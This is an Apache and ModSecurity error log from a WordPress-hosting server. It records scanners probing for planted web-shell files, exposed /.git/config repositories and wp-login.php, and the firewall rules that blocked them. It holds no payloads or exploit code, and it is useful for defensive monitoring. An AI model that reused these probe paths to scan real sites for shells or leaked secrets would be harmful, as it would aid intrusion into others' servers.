[Wed Dec 24 21:16:13.175639 2025] [:error] [pid 28405:tid 28414] [client 20.58.140.78:9325] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Okxob.php"] [unique_id "aUvnncKkTWlhmfdXFqaksgAAAUU"]
[Wed Dec 24 21:16:13.943594 2025] [:error] [pid 16466:tid 16481] [client 20.58.140.78:60956] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Okxob.php"] [unique_id "aUvnnbu0JcuKJMjJn6xYWAAAAAs"]
[Wed Dec 24 21:16:14.518876 2025] [:error] [pid 29371:tid 29389] [client 20.58.140.78:9327] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Okxob.php"] [unique_id "aUvnnns-DlKLysSq5L-uEAAAAdA"]
[Wed Dec 24 21:16:16.689680 2025] [:error] [pid 28777:tid 28800] [client 20.58.140.78:9281] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/idea.php"] [unique_id "aUvnoJBVBcZ34cSqz8pLTAAAAZU"]
[Wed Dec 24 21:16:17.695250 2025] [:error] [pid 54139:tid 54146] [client 20.58.140.78:9900] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/idea.php"] [unique_id "aUvnocrYCZenIDzgXuK4_wAAAQU"]
[Wed Dec 24 21:16:25.899722 2025] [:error] [pid 16468:tid 16530] [client 20.58.140.78:60989] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/idea.php"] [unique_id "aUvnqYdyfuSTFLkCbP-lQAAAAIY"]
[Wed Dec 24 21:16:33.148633 2025] [proxy_fcgi:error] [pid 28405:tid 28413] [client 20.58.140.78:9342] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:16:33.184703 2025] [proxy_fcgi:error] [pid 28405:tid 28409] [client 20.58.140.78:9342] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:16:33.213355 2025] [proxy_fcgi:error] [pid 28405:tid 28428] [client 20.58.140.78:9342] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:16:33.236005 2025] [proxy_fcgi:error] [pid 28405:tid 28410] [client 20.58.140.78:9342] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:16:33.279499 2025] [proxy_fcgi:error] [pid 28405:tid 28416] [client 20.58.140.78:9342] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:16:33.675820 2025] [proxy_fcgi:error] [pid 28405:tid 28433] [client 20.58.140.78:9342] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:16:33.785715 2025] [proxy_fcgi:error] [pid 28405:tid 28429] [client 20.58.140.78:9342] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:16:33.822132 2025] [proxy_fcgi:error] [pid 28405:tid 28419] [client 20.58.140.78:9342] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:16:33.841261 2025] [proxy_fcgi:error] [pid 28405:tid 28423] [client 20.58.140.78:9342] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:16:34.238882 2025] [proxy_fcgi:error] [pid 28405:tid 28421] [client 20.58.140.78:9342] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:16:34.300421 2025] [proxy_fcgi:error] [pid 28405:tid 28427] [client 20.58.140.78:9342] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:16:34.337133 2025] [:error] [pid 28405:tid 28422] [client 20.58.140.78:9342] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aUvnssKkTWlhmfdXFqalVQAAAUw"]
[Wed Dec 24 21:16:35.084377 2025] [:error] [pid 54139:tid 54156] [client 20.58.140.78:9339] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aUvns8rYCZenIDzgXuK5OgAAAQ8"]
[Wed Dec 24 21:16:36.240826 2025] [:error] [pid 28777:tid 28800] [client 20.58.140.78:9909] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aUvntJBVBcZ34cSqz8pLcwAAAZU"]
[Wed Dec 24 21:16:36.665773 2025] [:error] [pid 28777:tid 28780] [client 20.58.140.78:9393] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aUvntJBVBcZ34cSqz8pLdAAAAYE"]
[Wed Dec 24 21:16:40.152427 2025] [:error] [pid 16468:tid 16542] [client 20.58.140.78:9225] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gfile.php"] [unique_id "aUvnuIdyfuSTFLkCbP-lVQAAAJI"]
[Wed Dec 24 21:16:43.229864 2025] [:error] [pid 28777:tid 28784] [client 20.58.140.78:9892] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gfile.php"] [unique_id "aUvnu5BVBcZ34cSqz8pLhAAAAYU"]
[Wed Dec 24 21:16:46.224427 2025] [:error] [pid 16466:tid 16486] [client 20.58.140.78:9918] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gfile.php"] [unique_id "aUvnvru0JcuKJMjJn6xY2gAAABA"]
[Wed Dec 24 21:16:49.544204 2025] [:error] [pid 16467:tid 16499] [client 20.58.140.78:9406] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gfile.php"] [unique_id "aUvnwY0TJMcBxX5slgpgiQAAAEI"]
[Wed Dec 24 21:16:53.545980 2025] [:error] [pid 28777:tid 28789] [client 20.58.140.78:60961] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/doc.php"] [unique_id "aUvnxZBVBcZ34cSqz8pLkAAAAYo"]
[Wed Dec 24 21:17:00.362393 2025] [:error] [pid 28405:tid 28423] [client 20.58.140.78:64774] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/doc.php"] [unique_id "aUvnzMKkTWlhmfdXFqaliAAAAU0"]
[Wed Dec 24 21:17:02.270836 2025] [:error] [pid 16468:tid 16531] [client 20.58.140.78:9881] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/doc.php"] [unique_id "aUvnzodyfuSTFLkCbP-lgwAAAIc"]
[Wed Dec 24 21:17:03.752238 2025] [:error] [pid 16466:tid 16474] [client 20.58.140.78:9402] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/doc.php"] [unique_id "aUvnz7u0JcuKJMjJn6xY_gAAAAQ"]
[Wed Dec 24 21:17:04.750005 2025] [:error] [pid 28777:tid 28781] [client 20.58.140.78:9367] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/orm.php"] [unique_id "aUvn0JBVBcZ34cSqz8pLmQAAAYI"]
[Wed Dec 24 21:17:06.393647 2025] [:error] [pid 28777:tid 28783] [client 20.58.140.78:9298] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/orm.php"] [unique_id "aUvn0pBVBcZ34cSqz8pLnQAAAYQ"]
[Wed Dec 24 21:17:07.886359 2025] [:error] [pid 28777:tid 28797] [client 20.58.140.78:9337] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/orm.php"] [unique_id "aUvn05BVBcZ34cSqz8pLogAAAZI"]
[Wed Dec 24 21:17:08.563666 2025] [:error] [pid 16466:tid 16471] [client 20.58.140.78:9223] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/orm.php"] [unique_id "aUvn1Lu0JcuKJMjJn6xZDQAAAAE"]
[Wed Dec 24 21:17:09.352344 2025] [:error] [pid 29371:tid 29394] [client 20.58.140.78:9403] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ay.php"] [unique_id "aUvn1Xs-DlKLysSq5L-ujgAAAdU"]
[Wed Dec 24 21:17:11.068080 2025] [:error] [pid 28405:tid 28430] [client 20.58.140.78:9392] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ay.php"] [unique_id "aUvn18KkTWlhmfdXFqalkAAAAVQ"]
[Wed Dec 24 21:17:15.654215 2025] [:error] [pid 16467:tid 16502] [client 20.58.140.78:60929] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ay.php"] [unique_id "aUvn240TJMcBxX5slgpgoAAAAEU"]
[Wed Dec 24 21:17:16.129162 2025] [:error] [pid 16468:tid 16531] [client 20.58.140.78:9910] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ay.php"] [unique_id "aUvn3IdyfuSTFLkCbP-logAAAIc"]
[Wed Dec 24 21:17:20.358191 2025] [:error] [pid 28777:tid 28802] [client 20.58.140.78:9305] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/buy.php"] [unique_id "aUvn4JBVBcZ34cSqz8pLswAAAZc"]
[Wed Dec 24 21:17:22.283631 2025] [:error] [pid 28405:tid 28425] [client 20.58.140.78:60963] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/buy.php"] [unique_id "aUvn4sKkTWlhmfdXFqalpAAAAU8"]
[Wed Dec 24 21:17:22.686626 2025] [:error] [pid 29371:tid 29397] [client 20.58.140.78:9260] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/buy.php"] [unique_id "aUvn4ns-DlKLysSq5L-usQAAAdg"]
[Wed Dec 24 21:17:25.474379 2025] [:error] [pid 28777:tid 28791] [client 20.58.140.78:9374] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/buy.php"] [unique_id "aUvn5ZBVBcZ34cSqz8pL0wAAAYw"]
[Wed Dec 24 21:17:28.405759 2025] [:error] [pid 16466:tid 16492] [client 20.58.140.78:9386] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test.php"] [unique_id "aUvn6Lu0JcuKJMjJn6xZOQAAABY"]
[Wed Dec 24 21:17:29.797291 2025] [:error] [pid 28405:tid 28425] [client 20.58.140.78:9365] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test.php"] [unique_id "aUvn6cKkTWlhmfdXFqalxQAAAU8"]
[Wed Dec 24 21:17:32.235066 2025] [:error] [pid 16468:tid 16533] [client 20.58.140.78:9249] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test.php"] [unique_id "aUvn7IdyfuSTFLkCbP-lzAAAAIk"]
[Wed Dec 24 21:17:33.065925 2025] [:error] [pid 16468:tid 16543] [client 20.58.140.78:9874] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test.php"] [unique_id "aUvn7YdyfuSTFLkCbP-l0AAAAJM"]
[Wed Dec 24 21:17:35.630754 2025] [proxy_fcgi:error] [pid 16467:tid 16510] [client 20.58.140.78:9240] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:17:35.653869 2025] [proxy_fcgi:error] [pid 16467:tid 16499] [client 20.58.140.78:9240] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:17:35.675456 2025] [proxy_fcgi:error] [pid 16467:tid 16498] [client 20.58.140.78:9240] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:17:35.696811 2025] [proxy_fcgi:error] [pid 16467:tid 16519] [client 20.58.140.78:9240] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:17:35.715475 2025] [proxy_fcgi:error] [pid 16467:tid 16504] [client 20.58.140.78:9240] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:24:21.252630 2025] [:error] [pid 54139:tid 54159] [client 195.178.110.161:35124] [client 195.178.110.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/config"] [unique_id "aUvphcrYCZenIDzgXuK7yQAAARI"]
[Wed Dec 24 22:58:01.435382 2025] [:error] [pid 16466:tid 16479] [client 161.118.209.86:56558] [client 161.118.209.86] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aUv_ebu0JcuKJMjJn6xzdQAAAAk"]
[Wed Dec 24 23:32:22.653606 2025] [:error] [pid 28405:tid 28426] [client 195.178.110.161:49288] [client 195.178.110.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aUwHhsKkTWlhmfdXFqbSCwAAAVA"]
[Thu Dec 25 00:03:44.185345 2025] [:error] [pid 16466:tid 16492] [client 20.2.117.38:54720] [client 20.2.117.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aUwO4Lu0JcuKJMjJn6x_-AAAABY"]
[Thu Dec 25 00:03:44.692598 2025] [:error] [pid 16550:tid 16574] [client 20.2.117.38:54767] [client 20.2.117.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aUwO4KYYcdD-LuO7vrA2AwAAANY"]
[Thu Dec 25 00:03:45.428124 2025] [:error] [pid 28405:tid 28422] [client 20.2.117.38:50216] [client 20.2.117.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aUwO4cKkTWlhmfdXFqbYuAAAAUw"]
[Thu Dec 25 00:03:46.042706 2025] [:error] [pid 54139:tid 54146] [client 20.2.117.38:54732] [client 20.2.117.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aUwO4srYCZenIDzgXuLbmgAAAQU"]
[Thu Dec 25 08:10:13.666690 2025] [:error] [pid 2996:tid 3011] [client 45.3.44.133:42067] [client 45.3.44.133] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.3.44.133, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aUyA5arrTp0EWNyhaISGggAAAQ0"]
[Thu Dec 25 08:10:13.676444 2025] [proxy_fcgi:error] [pid 2996:tid 3011] [client 45.3.44.133:42067] AH01071: Got error 'Primary script unknown'
[Thu Dec 25 08:10:14.319900 2025] [:error] [pid 31569:tid 31583] [client 45.3.44.133:44973] [client 45.3.44.133] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.3.44.133, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aUyA5miSFBH7Ee_uldUMawAAAAo"]
[Thu Dec 25 08:10:14.324287 2025] [proxy_fcgi:error] [pid 31569:tid 31583] [client 45.3.44.133:44973] AH01071: Got error 'Primary script unknown'
[Thu Dec 25 09:37:29.878423 2025] [:error] [pid 31569:tid 31578] [client 45.148.10.238:38714] [client 45.148.10.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aUyVWWiSFBH7Ee_uldUo9QAAAAU"]
[Thu Dec 25 20:32:23.103918 2025] [autoindex:error] [pid 31655:tid 31666] [client 174.138.85.139:55882] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Fri Dec 26 04:02:24.537535 2025] [:error] [pid 46851:tid 46902] [client 185.169.252.163:60870] [client 185.169.252.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aU2YUMOG87pzw9FRke17BAAAAFI"]
[Fri Dec 26 04:02:24.838167 2025] [:error] [pid 46945:tid 46948] [client 185.169.252.163:60884] [client 185.169.252.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/config"] [unique_id "aU2YUGUj8QC8K5vr0SaT3wAAAME"]
[Fri Dec 26 14:36:03.973622 2025] [proxy_fcgi:error] [pid 34865:tid 34873] [client 203.159.81.16:34599] AH01071: Got error 'Primary script unknown'
[Fri Dec 26 14:36:04.469071 2025] [proxy_fcgi:error] [pid 34865:tid 34874] [client 203.159.81.16:34599] AH01071: Got error 'Primary script unknown'
[Fri Dec 26 14:36:04.961859 2025] [proxy_fcgi:error] [pid 34865:tid 34889] [client 203.159.81.16:34599] AH01071: Got error 'Primary script unknown'
[Fri Dec 26 14:36:05.455339 2025] [proxy_fcgi:error] [pid 34865:tid 34875] [client 203.159.81.16:34599] AH01071: Got error 'Primary script unknown'
[Fri Dec 26 14:36:05.930663 2025] [proxy_fcgi:error] [pid 34865:tid 34886] [client 203.159.81.16:34599] AH01071: Got error 'Primary script unknown'
[Fri Dec 26 14:36:06.428696 2025] [proxy_fcgi:error] [pid 34865:tid 34873] [client 203.159.81.16:34599] AH01071: Got error 'Primary script unknown'
[Fri Dec 26 14:36:06.881600 2025] [proxy_fcgi:error] [pid 34865:tid 34870] [client 203.159.81.16:34599] AH01071: Got error 'Primary script unknown'
[Fri Dec 26 14:36:07.396621 2025] [proxy_fcgi:error] [pid 34865:tid 34876] [client 203.159.81.16:34599] AH01071: Got error 'Primary script unknown'
[Fri Dec 26 14:36:07.907074 2025] [proxy_fcgi:error] [pid 34865:tid 34867] [client 203.159.81.16:34599] AH01071: Got error 'Primary script unknown'
[Fri Dec 26 14:36:08.740614 2025] [proxy_fcgi:error] [pid 34865:tid 34884] [client 203.159.81.16:34599] AH01071: Got error 'Primary script unknown'
[Fri Dec 26 14:36:09.707596 2025] [proxy_fcgi:error] [pid 34865:tid 34884] [client 203.159.81.16:34599] AH01071: Got error 'Primary script unknown'
[Fri Dec 26 14:36:10.191600 2025] [proxy_fcgi:error] [pid 34865:tid 34884] [client 203.159.81.16:34599] AH01071: Got error 'Primary script unknown'
[Fri Dec 26 14:36:10.668616 2025] [proxy_fcgi:error] [pid 34865:tid 34874] [client 203.159.81.16:34599] AH01071: Got error 'Primary script unknown'
[Fri Dec 26 14:36:11.147061 2025] [proxy_fcgi:error] [pid 34865:tid 34872] [client 203.159.81.16:34599] AH01071: Got error 'Primary script unknown'
